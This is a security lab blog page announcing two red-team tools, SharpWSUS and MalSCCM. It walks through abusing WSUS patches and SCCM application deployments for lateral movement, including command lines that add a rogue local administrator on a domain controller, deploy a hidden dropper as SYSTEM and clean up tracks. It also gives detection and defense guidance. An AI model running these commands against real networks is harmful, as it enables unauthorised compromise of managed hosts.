Normal view

There are new articles available, click to refresh the page.
Before yesterdayNettitude Labs

Introducing SharpWSUS

5 May 2022 at 09:00

Today, we’re releasing a new tool called SharpWSUS.  This is a continuation of existing WSUS attack tooling such as WSUSPendu and Thunder_Woosus. It brings their complete functionality to .NET, in a way that can be reliably and flexibly used through command and control (C2) channels, including through PoshC2.

The Background to SharpWSUS

During a recent red team engagement, a client wanted to see if a backup server could be compromised. The backup server was critical to the organisation and had consequently been the target of several rounds of red teaming and subsequent remediation, making compromise difficult. During this engagement, we found that the backup server had been removed from Active Directory (AD) and was also segmented from the network, making common lateral movement techniques unsuitable. The only common path seen was Remote Desktop Protocol (RDP) from certain hosts on the network to the target server with a local account. However, no local account was identified during the engagement. With this in mind, we looked for other avenues, for example leveraging servers that would need to connect to all other servers in the environment, and which would need to authenticate and issue code in some way. Enter Windows Server Update Services (WSUS).

Download SharpWSUS

github GitHub: https://github.com/nettitude/SharpWSUS

WSUS Introduction

WSUS is a Microsoft solution for administrators to deploy Microsoft product updates and patches across an environment in a scalable manner, using a method where the internal servers do not need to reach out to the internet directly. WSUS is extremely common within Windows corporate environments.

WSUS Architecture

Typically, the architecture of WSUS deployments is quite simple, although they can be configured in more complex ways. The most common deployment consists of one WSUS server within the corporate network. This server will reach out to Microsoft over HTTP and HTTPS to download Microsoft patches. After downloading these, the WSUS server will deploy the patch to clients as they check in to the WSUS server. Communication between the WSUS server and the clients will occur on port 8530 for HTTP and 8531 for HTTPS. An example of this deployment is below:

Diagram Description automatically generated

This image is from https://docs.microsoft.com/de-de/security-updates/windowsupdateservices/18127657.

In a more complex deployment of WSUS, there may be one main WSUS server that communicates over the internet to Microsoft, then internally the main WSUS server pushes the patches out to other internal WSUS servers, which then deploy it to clients. In this scenario the WSUS server connecting to the internet would be known as the Upstream Server, and the WSUS servers that do not have internet access and get their patches from the Upstream Server would be Downstream Servers. An example diagram of this is below:

Diagram Description automatically generated

This image is from https://docs.microsoft.com/de-de/security-updates/windowsupdateservices/18127657.

The most common deployment seen is a singular WSUS server deploying patches to all clients within the estate. This deployment means that one server in the environment can communicate to all servers and clients managed by WSUS, which make WSUS a very attractive target for bypassing network segmentation.

SharpWSUS

Attacks on WSUS are nothing new and there is already fantastic tooling out there for abusing WSUS for lateral movement such as WSUSPendu (https://github.com/AlsidOfficial/WSUSpendu), which is the PowerShell script that formed the basis for this tool. There is also another .NET tool publicly available called Thunder_Woosus (https://github.com/ThunderGunExpress/Thunder_Woosus) which aimed to take some functionality from WSUSPendu and port it to .NET.

SharpWSUS is a continuation of this tooling and aims to bring the complete functionality of WSUSPendu and Thunder_Woosus to .NET in a tool that can be reliably used through C2 channels and offers flexibility to the operator.

The flow of using SharpWSUS for lateral movement is as follows:

  • Locate the WSUS server and compromise it.
  • Enumerate the contents of the WSUS server to determine which machines to target.
  • Create a WSUS group.
  • Add the target machine to the WSUS group.
  • Create a malicious patch.
  • Approve the malicious patch for deployment.
  • Wait for the client to download the patch.
  • Clean up after the patch is downloaded.

Locating the WSUS server

The WSUS server that a client is using can be found by querying the following registry key:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate

This key will be present on any workstation or server managed through WSUS. Since the most common deployment is of a singular WSUS server, there is a good chance that the one in the key is the same one used for critical servers.

This can be enumerated through SharpWSUS using SharpWSUS.exe locate.

Text Description automatically generated

Enumerating the WSUS server

Once the WSUS server is compromised, SharpWSUS can be used to enumerate various details about the WSUS deployment, such as the computers being managed by the current server, the last time each computer checked in for an update, any Downstream Servers, and the WSUS groups.

This is done through the command SharpWSUS.exe inspect.

Text Description automatically generated

This provides the information needed to choose which machine to target in the environment. For example, within this environment this WSUS server managed the Domain Controllers such as bloredc2.blorebank.local. This is a common configuration of WSUS and often not treated as critical as Domain Controllers or other assets it manages. For this demo we will compromise the Domain Controller by adding a new local administrator.

Lateral Movement

A key consideration with WSUS lateral movement is that there is no way to control when a client checks in from the server. This means that once a patch is deployed the lateral movement won’t succeed until the client installs the update. Often times the client will check in for patches on a regular cycle, for example daily, but the patches won’t be installed until a patching day that might happen once a month. Some clients may be configured to install patches immediately if their priority level is high enough.

The first step of abusing WSUS is to create the malicious patch, which does have some limitations. When creating the patch there are various values that can be configured through the command line in SharpWSUS, allowing the operator to change the Indicators of Compromise (IoCs) of the patch. There is also a value for the payload and arguments. The payload must be a Microsoft signed binary and must point to a location on disk for the WSUS server to that binary.

While the need for a signed binary can limit some attack paths, there are still plenty of binaries that could be used such as PsExec.exe to run a command as SYSTEM, RunDLL32.exe to run a malicious DLL on a network share, MsBuild.exe to grab and execute a remote payload and more. The example in this blog will use PsExec.exe for code execution (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).

A patch leveraging PsExec.exe can be done with the following command:

SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"

Note that the way the quotes are escaped will change based on how you are executing the command. The escaping above is the command used within PoshC2.

Text Description automatically generated

Note the GUID returned from the command as this GUID is the Update ID of the patch and will be needed for further commands including cleaning up.

This malicious patch uses the PsExec.exe binary stored on the WSUS server which was uploaded through the C2. This patch will add a new user with the username WSUSDemo and grant them administrative rights over whichever machine it is installed on.

When the patch is created it will be visible in the WSUS console. The patch made can be seen below:

Graphical user interface, text, application Description automatically generated

If the patch is clicked, then more information can be seen:

Graphical user interface, text, application, email Description automatically generated

As part of the patch creation process, the binary used in the patch is also copied to the WSUS content location and called “wuagent.exe”. In this case the WSUS content location is “C:\UPDATES\WsusContent”, and the binary will be copied too “C:\UPDATES\wuagent.exe”. This allows it to be collected from the WSUS client. If the binary is executed the PsExec.exe help menu is seen, showing its just a copy of the Windows signed binary.

Text Description automatically generated

After the patch is made, the next steps are to create a group, add the target computer to the group and then deploy the patch to that group. This is due to WSUS patches being approved per WSUS group and not per machine. This means that for targeting a specific machine, it would be necessary to ensure that the machine is in a group with no other machines.

This can be done with one command in SharpWSUS through the following command:

SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group", where the updateid GUID is the one provided in the output of the create command.

Text Description automatically generated

This will check if the group “Demo Group” exists and create it if it doesn’t. It will then add the Domain Controller to the group and approve the malicious patch for the group.

You can check the group being created by running the inspect command again.

Graphical user interface, text Description automatically generated

This can also be seen in the WSUS console.

Graphical user interface, text, application Description automatically generated

After this it is a waiting game for the client to download and install the patch. SharpWSUS can be used to enumerate the status of the update:

SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local”, where the updateid is the same as before.

Text Description automatically generated

This value is pretty slow to update and can be unreliable. It is the same way using the WSUS console as well, it seems like WSUS is just not very efficient at tracking status. Until the target computer next checks in the value will not be populated so it will return the message above.

To speed up the demo the client will be forced to look for updates.

Graphical user interface, text, timeline Description automatically generated with medium confidence

This showed important updates to be installed…

Timeline Description automatically generated

… including the malicious patch.

Graphical user interface, application, Word Description automatically generated

Checking the local Administrators group of the DC to make sure there is no conflicting user:

Graphical user interface, text Description automatically generated

Then the patch is installed:

Text Description automatically generated with medium confidence

The new local administrator was made on the Domain Controller!

Graphical user interface, application Description automatically generated

Once the patch is installed on the target machine, the client will be able to see the following information.

Graphical user interface, text, application, email Description automatically generated

If they click on the title of the update they will be taken to the details for the patch.

Graphical user interface, text, application, email Description automatically generated

Once the client has checked in the status will be updated. This is still delayed and can take time to alter in the database. It seems the value will be updated when the computer next checks-in after its installed, which can take a few check-ins.

Text Description automatically generated

Once the patch is installed clean-up can be performed within SharpWSUS with the following command:

SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group”

Text Description automatically generated

This will decline the patch, delete the patch, remove the target from the group and delete the group.

Looking on the WSUS console it can be seen that the group is removed.

Graphical user interface, text, application Description automatically generated

If the patch is explicitly searched for within WSUS, it is no longer there.

Graphical user interface, text, application, email Description automatically generated

It should be noted that the patch binary “wuagent.exe” will remain on disk and is up to the operator to delete manually.

Protecting Against WSUS Abuse

Lateral movement through WSUS is not a new technique, however it is an option that will likely remain available to attackers for some time. Whilst preventing this access to local SYSTEM to abuse WSUS like this is not possible, it is possible to understand the attack path and take precautions.

The best defence against this would be segmenting the WSUS server from the network so that the server itself is more difficult to compromise, along with implementing a tiered WSUS structure with Upstream and Downstream Servers so that clients can be distributed between each relevant WSUS server.

Segmentation of the WSUS servers from the network makes the WSUS server more difficult to compromise and can force an attacker down a specific path that could be detected. Separating clients out to different WSUS servers limits where an attacker can laterally move to after compromising a downstream Server.

Various artefacts exist that may present an opportunity for detection:

  • A new WSUS group with one host is likely to be created. For more mass ransomware type attacks this may be all hosts in a new group.
    • The default group name within SharpWSUS is “InjectGroup”
  • The malicious patch itself and its metadata could all lead to detection opportunity if looking for patches outside of the normal Microsoft patches. The default patch created by SharpWSUS will have the following metadata:
    • Title: “SharpWSUS Update”
    • Date: “2021-09-26”
    • Rating: “Important”
    • KB: “5006103”
    • Description: “Install this update to resolve issues in Windows.”
    • URL: “https://www.nettitude.com”
  • When the patch is created, a Microsoft signed binary will be copied to the WSUS web root. If the WSUS content location was C:\Updates\WSUSContent for example, then the signed binary would be placed in C:\Updates\WUAgent.exe. This binary will not be removed after the patch is deleted, so this binary on disk could provide detection cases for WSUS being abused and may indicate what the abuse was (such as PsExec.exe, MsiExec.exe etc).
  • When the WSUS patch is approved, the user that approved it is stored and can be seen in the console. This appears to be often “WUS Server”, and that is what SharpWSUS will use. If your environment uses an alternate approval user then this could stand out.

Summary

WSUS is a core part of Windows environments and is very often deployed in a way that would allow an attacker to use it to bypass internal networking restrictions. This blog has not detailed any new attack techniques, but the release of SharpWSUS (https://github.com/nettitude/SharpWSUS) aims to aid with offensive security professionals utilising this attack path through C2 to demonstrate the risks and aid with improvement.

Download SharpWSUS

github GitHub: https://github.com/nettitude/SharpWSUS

The post Introducing SharpWSUS appeared first on Nettitude Labs.

Introducing MalSCCM

4 May 2022 at 09:00

During red team operations the goal is often to compromise a system of high value. These systems will ideally be segmented from the wider network and locked down to prevent compromise. However, the organisation still needs to be able to manage these devices in scalable and reliable ways, such as being able to deploy patches or scripts for administration. Enter Microsoft System Centre Configuration Manager (SCCM).

Download MalSCCM

Today, we have released MalSCCM, which takes some of the functionality of PowerSCCM and enhances some usage aspects, making it more appropriate for Command and Control usage.

We will be presenting a talk that covers two new tools, including this one, at Black Hat Asia on May 13th @ 10:15 SGT.  You can download MalSCCM from the repository below.

github GitHub: https://github.com/nettitude/MalSCCM

Read on for more information about how MalSCCM can be used to laterally move and act on objectives.

SCCM Introduction

SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation. SCCM allows for a great deal of functionality, including pushing PowerShell scripts to its clients, pushing commands to its clients, opening remote terminal sessions on clients, installing software on its clients, altering policies on its clients and more.

This range of functionality makes it an ideal target for attackers that want to laterally move within an environment whilst blending in with normal activity. To compromise SCCM it is necessary to understand the different ways SCCM can be deployed within an environment.

SCCM Architecture

SCCM can be deployed in a number of ways to be ideal for the target environment, however there is some common terminology:

  • Central Administration Site – When there are multiple Primary Sites (environments) this will be the one central location that management is performed from and will be passed down to each relevant Primary Site. Installation of a Central Administration Site can only be done for large environments with more than 100,000 clients.
  • Primary Site – These are the main management points for each environment. Unless a Central Administration Site is within the environment, this will be the point where all management is performed and pushed out.
  • Secondary Site – These sites are children of Primary Sites and are managed by the Primary Site, however they have their own SQL databases, and they aid with establishing connections between endpoint clients and the Primary Site.
  • Distribution Point – These are the servers that actually deliver the contents of the updates to the endpoint clients. Each Distribution Point supports up to 4,000 clients, and by default both Primary Sites and Secondary Sites are also a Distribution Point.

With this range of roles within SCCM, there are a large number of configurations for how any given endpoint may be retrieving updates. A visual representation of a possible hierarchy is below: SMS/SCCM, Beyond Application Deployment - Matthew Hudson: Hierarchy Simplification and Secondary's

The image above is from http://sms-hints-tricks.blogspot.com/2012/06/hiearchy-simplification-and-secondarys.html.

The simplest configuration is a Primary Site which has no children Secondary Sites and the Primary Site acts as the Distribution Point itself. This allows SCCM to be deployed and used in the environment with only one server, which is performing all of the roles and can support up to 4,000 clients.

A more robust deployment would be a Primary Site that is segmented from the corporate network which can only talk to Secondary Sites. These Secondary Sites would also be segmented in various parts of the network for various environments. These Secondary Sites would then communicate with Distribution Points on the network which in turn will communicate with the endpoints.

Through either of these deployment styles, if the Primary Site can be compromised, then it offers a great advantage to attackers for widespread command execution. This could be used to proliferate ransomware at scale through an environment, or it could be used to target specific machines and laterally move to them in a variety of ways.

MalSCCM

Tooling for red teams and attackers has long since shifted to .NET, however there are very few tools publicly available for abusing SCCM, making it an attack path that may not be explored as much.

For PowerShell there is PowerSCCM (https://github.com/PowerShellMafia/PowerSCCM) which is great, however using it through C2 introduces a lot of Indicators of Compromise (IoC) for running PowerShell, which may not be appropriate depending on the target’s defence.

With the release of this blog post, Nettitude has released MalSCCM (https://github.com/nettitude/MalSCCM) which takes a subset of the functionality of PowerSCCM and enhances some usage aspects, making it more apt for C2 usage.

As this is the first release of MalSCCM, it currently only enables the abuse of application deployments for lateral movement through SCCM, however this seems to be a reliable method for lateral movement. The functionality included within MalSCCM may increase over time as more attack paths are explored.

MalSCCM – Understanding the deployment

The first hurdle of targeting SCCM is understanding how SCCM is deployed in the environment and which servers to target.

Assuming this is a red team scenario, the first machine compromised is likely an employee’s machine. Whilst on the machine it is worth looking out for processes that indicate the machine is managed by SCCM such as CcmExec.

A screenshot of a computer Description automatically generated with medium confidence

These processes are present on any machine that is an SCCM client, whether it’s a server or a workstation. If the machine is managed by SCCM then it needs to know where its Distribution Point is. This is a value held in the registry and can be read through the following command: MalSCCM.exe locate.

Text Description automatically generated

The locate command will tell you what the SiteCode of the SCCM deployment is (used by SCCM to differentiate Primary Sites) as well as the Distribution Point for the machine. From the endpoint client it is not possible to tell at this point whether the Distribution Point is also the Primary Site, however it may be possible to tell through LDAP looking at naming conventions or descriptions of the server.

Within a red team scenario, it would then be necessary to compromise the environment to a point where you can compromise that Distribution Point. This could for example be compromising a user that is an SCCM administrator or it could be compromising infrastructure administrators, LAPS etc.

If you wanted to assess whether the Distribution Point was also the Primary Site and you didn’t want to get a C2 implant on the server, you could enumerate this through MalSCCM by trying a command such as below:

MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups

If you run this command as an administrator of the Distribution Point server, then this will connect over WMI and attempt to enumerate the local databases. If this returns group information, then the Distribution Point is also the Primary Site.

Text Description automatically generated

In this scenario you could then do all of the SCCM exploitation remotely through MalSCCM by using the /server flag on all commands. This allows you to deploy malicious applications and laterally move without ever getting C2 on the SCCM server itself.

If the remote inspect fails or you want confirmation of the server role, then you could compromise the Distribution Point and run the locate command again on the server:

MalSCCM.exe locate

The Distribution Point will have more registry keys of interest than an endpoint client. When running locate on a Distribution Point it will tell you where it is getting its updates from, which is usually the Primary Site.

Text Description automatically generated

There are multiple registry keys enumerated because the first registry key is not present if you run the command on a Primary Site itself (if it utilises secondary sites).

This tool has not been tested on an environment with Secondary Sites configured, however it is likely that the Distribution Point would return the location of the Secondary Site, and that server would then need to be compromised to find the Primary Site in the same way.

MalSCCM Enumeration

Once the Primary Site is found, it is possible to use the inspect command within MalSCCM to gather information about the SCCM deployment through various WMI classes used by SCCM. As the information returned can be very large, the inspect command has been split into modules.

The modules at release are listed below:

  • Computers – This will return all the computers managed through SCCM. This command will return just the computer name to reduce the output.
  • Groups – This will return all of the SCCM groups. Computers in SCCM can be combined into Groups for pushing applications out, so for example you may have a group for all computers, all application servers, etc. MalSCCM will return the group names and the number of members.
  • PrimaryUser – Within SCCM its possible to have a setting allowed which allows SCCM to track which users are using which machines and create an affiliation between them. Using this can be possible to hunt for specific users in the environment, which is very useful.
  • Forest – This will tell you the SCCM forest name.
  • Packages – This will enumerate the SCCM packages currently listed.
  • Applications – This will return the SCCM applications currently listed within SCCM.
  • Deployments – This will return the SCCM deployments within SCCM.

If you want to gather all information you can run the command:

MalSCCM.exe inspect /all /server:<PrimarySiteFQDN>

This will return all of the above information. These commands are useful for understanding various aspects of SCCM before, during and after exploitation.

Abusing SCCM for Lateral Movement

MalSCCM can be used for lateral movement through malicious SCCM applications.

Since SCCM works with the concepts of groups rather than individual machines for deployments, the best way to target an individual machine is to create a new SCCM group which blends in with the existing ones, then adding the target machine into that group. This allows the malicious application to be applied only to the target machine and allows for cleaning up after the attack.

The workflow of the attack is as follows:

  • Compromise a Primary Site.
  • Enumerate the Primary Site to understand which machines to target.
  • Create a new group that blends in with the current groups.
  • Add the target machine to the new group.
  • Create a malicious application.
  • Deploy the application to the group containing the target.
  • Force the target group to check in with SCCM.
  • Once laterally moved, clean up the deployment and application.
  • Delete the target group.

The functionality for all steps of the above process is within MalSCCM, allowing you to perform this chain through C2 conveniently.

To demonstrate this attack chain, the Primary Site of the lab has been compromised. To keep command lines small and screenshots readable, the C2 will be deployed on the Primary Site itself and is running with high integrity.

The computers will be enumerated to check which targets are possible through SCCM:

MalSCCM.exe inspect /computers

Text Description automatically generated

If a user was being hunted instead of a specific machine, then it may be possible to enumerate the user’s location through SCCM. Within SCCM there is an optional feature called User Device Affinity. If User Device Affinity is enabled SCCM will track the logon sessions within each client and if a login session exceeds a configured amount of time, then it will affiliate that user with that computer. This affiliation will be kept within the SCCM database and can be used by SCCM to send applications out to users by knowing which machines they are assigned to. The users affiliated with a machine are the Primary Users for that machine. There can be multiple per machine.

The affiliated Primary Users will be enumerated to determine if we can hunt for specific users:

MalSCCM.exe inspect /primaryusers

Text Description automatically generated

The groups will be enumerated to determine the current group names:

MalSCCM.exe inspect /groups

Text Description automatically generated

For this demonstration the goal would be to compromise the user Ben. From the Primary Users we can tell that this user often uses the machine WIN2016-SQL. This machine is managed through SCCM so we will deploy a malicious application to laterally move to the machine.

A new group will be created that blends in with the environment. Groups can either be user groups or computer groups within SCCM, so MalSCCM will allow you to create either. If you create a user group and add the target user, then SCCM will use the Primary User affiliations discussed previously to determine which machine it should deploy the application too. This could result in the same end goal but to manage risk and ensure the right machines are being compromised, the preference is creating a computer group.

MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device

Text Description automatically generated

With the computer group created it should be listed through inspect.

MalSCCM.exe inspect /groups

Text Description automatically generated

With the group made, the target computer is added to the group. Note that if you try to use adduser instead of addhost to add a device into a device group, it will break that group and prevent deletion, so make sure you are using the right command for the resource you are adding.

MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL

Text Description automatically generated

This is then inspected to ensure the user count increased in the group.

MalSCCM.exe inspect /groups

Graphical user interface, text, application Description automatically generated

This group can also be seen in the SCCM console.

Graphical user interface, text, application, email Description automatically generated

A malicious application then needs to be made. For MalSCCM the malicious application will just point to a UNC path to the application to run as SYSTEM. The simplest case would be to upload a malicious EXE and use that. Since the target endpoint will run this as SYSTEM, it’s important that the malicious EXE is placed in a share that is accessible by the target computer account rather than the user.

In this case a simple dropper EXE will be uploaded to a share. When SCCM is installed, a share is exposed on Distribution Points called SCCMContentLib$. This share is readable by all users, and would be utilised by SCCM, making it an ideal place for the malicious binary.

The malicious application will then be made pointing to the malicious EXE.

MalSCCM.exe app /create /name:demoapp /uncpath:”\\BLORE-SCCM\SCCMContentLib$\localthread.exe”

Text Description automatically generated

Inspect can be used to check that the application now exists.

MalSCCM.exe inspect /applications

Text Description automatically generated

This application will be hidden from the SCCM administrative console when created through MalSCCM, which is a useful feature however it is a noteworthy detection opportunity, since most legitimate applications would not be hidden.

Graphical user interface, application Description automatically generated

With the application made, it then needs to be deployed. MalSCCM can be used to create a deployment for the target group.

MalSCCM.exe app /deploy /name:demoapp /groupname:TargetGroup /assignmentname:demodeployment

Text Description automatically generated

Inspect can be used to ensure the deployment was created.

MalSCCM.exe inspect /deployments

Text Description automatically generated

This will return the deployment and the application that will be deployed with it. It should be noted that even though the application can be hidden from the SCCM console, the deployment can not be.

Graphical user interface, application Description automatically generated

Within the deployment the application name can be seen, and there will be a link for related objects.

Chart, bar chart Description automatically generated

If you click on that application link, it will show you the malicious application.

Graphical user interface, text, application Description automatically generated

However, if you were to click out of this menu and back into applications, the application will not be found.

Graphical user interface, text, application Description automatically generated

This is an interesting case for administrators or investigators trying to determine if SCCM has been abused. Hidden applications such as these could also be found through PowerShell for investigation, discussed more at the end of this blog post.

With the deployment made, it is possible to use MalSCCM to attempt to make the target group check in.

MalSCCM.exe checkin /groupname:TargetGroup

Text Description automatically generated

This can take time for a natural check in, however assuming the clients are online and connected, the check in should happen fairly quickly (within the lab this had a range of immediate to a few minutes). In this demo the time difference between the checkin command being issued and the implant coming back was just under 30 seconds.

After the application executed our EXE a new PoshC2 implant arrived!

It can be seen that the process name of the implant is localthread as that was the binary name for our dropper. It is also running as SYSTEM as expected.

The parent process of this is WmiPrvSE.exe, which is normal for activities happening through WMI connections. If SCCM abuse is suspected, then indicators of WMI activity may be useful to collect.

At this point the binary on the share is able to be deleted, suggesting that the binary being used on the target has been copied locally as binaries in use cannot be removed. Searching for it locally on the machine returned the following locations on disk on the target:

  • C:\Windows\Prefetch\LOCALTHREAD.exe-9A0EB550.pf

This prefetch file could be analysed using a tool such as PECmd (https://ericzimmerman.github.io/#!index.md), which would allow visibility of the modules loaded by the process.

Cleanup

Since lateral movement was successful, clean-up is performed. MalSCCM has a clean-up function that will attempt to look for deployments of the application and remove them.

MalSCCM.exe app /cleanup /name:demoapp

Text Description automatically generated

If multiple deployments have been performed with the same application, then this command should be run multiple times until there are the deployments and applications are removed. In this instance it was executed only once since there was only one deployment.

MalSCCM.exe inspect /deployments

Text Description automatically generated

MalSCCM.exe inspect /applications

Text Description automatically generated

With the application cleared, the target group can be deleted, reverting SCCM back to its original configuration.

MalSCCM.exe group /delete /groupname:TargetGroup

Text Description automatically generated

Checking with inspect to ensure the group is removed.

MalSCCM.exe inspect /groups

Graphical user interface Description automatically generated with medium confidence

Attack Recap

To recap the attack path and usage of MalSCCM, the steps were as follows:

  • Locate the Primary Site using MalSCCM.exe locate on a Distribution Point.
  • Enumerate the Primary Site using MalSCCM.exe inspect /all.
  • Create a new group using MalSCCM.exe group /create /groupname:<> /grouptype:device.
  • Add the target machine to the group using MalSCCM.exe group /addhost /groupname:<> /host:<>.
  • Upload a malicious binary to a share readable by Domain Computers.
  • Create a malicious application pointing to your binary using MalSCCM.exe app /create /name:<> /uncpath:<>.
  • Deploy the malicious application to the group containing your target using MalSCCM.exe app /deploy /name:<> /groupname:<> /assignmentname:<>.
  • Make the target check in to SCCM for an update using MalSCCM.exe checkin /groupname:<>.
  • Clean-up tracks using MalSCCM.exe app /cleanup /name:<>.
  • Clean-up the group using MalSCCM.exe group /delete /groupname:<>.

Protecting against SCCM Abuse

For defence teams looking to defend against this type of lateral movement the key item would be good segmentation. If an attacker can already compromise your SCCM Primary Site then they are likely already in a very privileged position within the network, and SCCM may be a target used for mass ransomware or accessing specific targets that may be well segmented in other areas.

The common architecture for SCCM relies on fewer servers and ease of access across a wide environment, however setting up SCCM with a more segmented hierarchy forces attackers to make more hops in the network before reaching the Primary Site, which provides a greater chance of detection.

An idea for segmentation would be having a Primary Site that is only accessible on the network from Secondary Sites or Distribution Points on the ports necessary for SCCM functionality. Then having the Secondary Sites/Distribution points on the network segments necessary to talk to the clients, but only exposing the ports needed for SCCM. This could then be scaled to environment size, but with the same isolated design.

Administration of SCCM could then be done through Privileged Access Workstations (PAWs) with appropriate access measures. This would lock down the SCCM servers, making the jumps necessary to compromise SCCM less attractive for attackers.

Once on the SCCM server, the WMI utilities leveraged are all normal actions exposed in the SCCM console. However, there are some actions that could maybe be points for detection:

  • New SCCM groups being created with only few members,
  • Applications being created that are hidden (these could be enumerated through WMI and alerted on for any application with the hidden flag set),
  • Deployments being pushed to standard groups such as All Computers,
  • Locking down unsigned executables being executed on the endpoints.

PowerShell Investigation

PowerShell can be used to investigate SCCM deployments, so some useful commands are being shared here to aid defenders. These commands are all executed on the SCCM Primary Site.

To use PowerShell with SCCM you will need to first locate the site code. This can be done through the following command:

Get-WmiObject -Namespace “root\ccm” -Query “Select Name FROM SMS_Authority”

Text Description automatically generated

This will return SMS:<SiteCode>. This SiteCode can then be used in further WMI queries for SCCM. In this case the SiteCode is LON, so we would replace <SiteCode> in the future commands with LON.

To list all groups the following command can be used:

Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Query "Select Name,MemberCount,Comment FROM SMS_Collection"

Text Description automatically generated

This will return the group names, the member counts and the comment. When MalSCCM creates a group, it will do it with no comment, which may be unusual on the environment depending on the SCCM administrator’s workflow.

To list all applications and whether they are hidden or not, the following command could be used:

Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Query "Select LocalizedDisplayName, IsHidden FROM SMS_APPLICATION"

Graphical user interface, text Description automatically generated

This returned Test which is a legitimate application created in the SCCM console and is not hidden. It also returned demoapp created through MalSCCM which is hidden.

To get a list of deployments the following command could be used:

Get-WmiObject -Namespace "root\sms\site_<SiteCode>" -Query "Select AssignmentName,ApplicationName,CollectionName,Enabled FROM SMS_ApplicationAssignment"

Text Description automatically generated

Through all of these queries, it would be possible to return all attributes with SELECT * … instead of named attributes to then review where differences occur with the normal process surrounding SCCM.

PowerSCCM includes more cmdlets that may be useful for investigation purposes as well.

Conclusion

SCCM is a powerful tool for administrators and can be a useful tool as well for attackers. This blog post isn’t to suggest that there is a weakness within SCCM, only that deployments of SCCM frequently are permissive, with singular SCCM instances managing all the clients. This makes it an attractive target within engagements where server administrative privileges may be achieved but directions towards the target are unclear. The release of MalSCCM aims to shed some light on the risks of this attack path so that SCCM deployments are made with security in mind. Care should be taken when exploiting SCCM for lateral movement to ensure that only the targeted machines are compromised where authorisation has been provided to do so.

Download MalSCCM

github GitHub: https://github.com/nettitude/MalSCCM

The post Introducing MalSCCM appeared first on Nettitude Labs.

❌
❌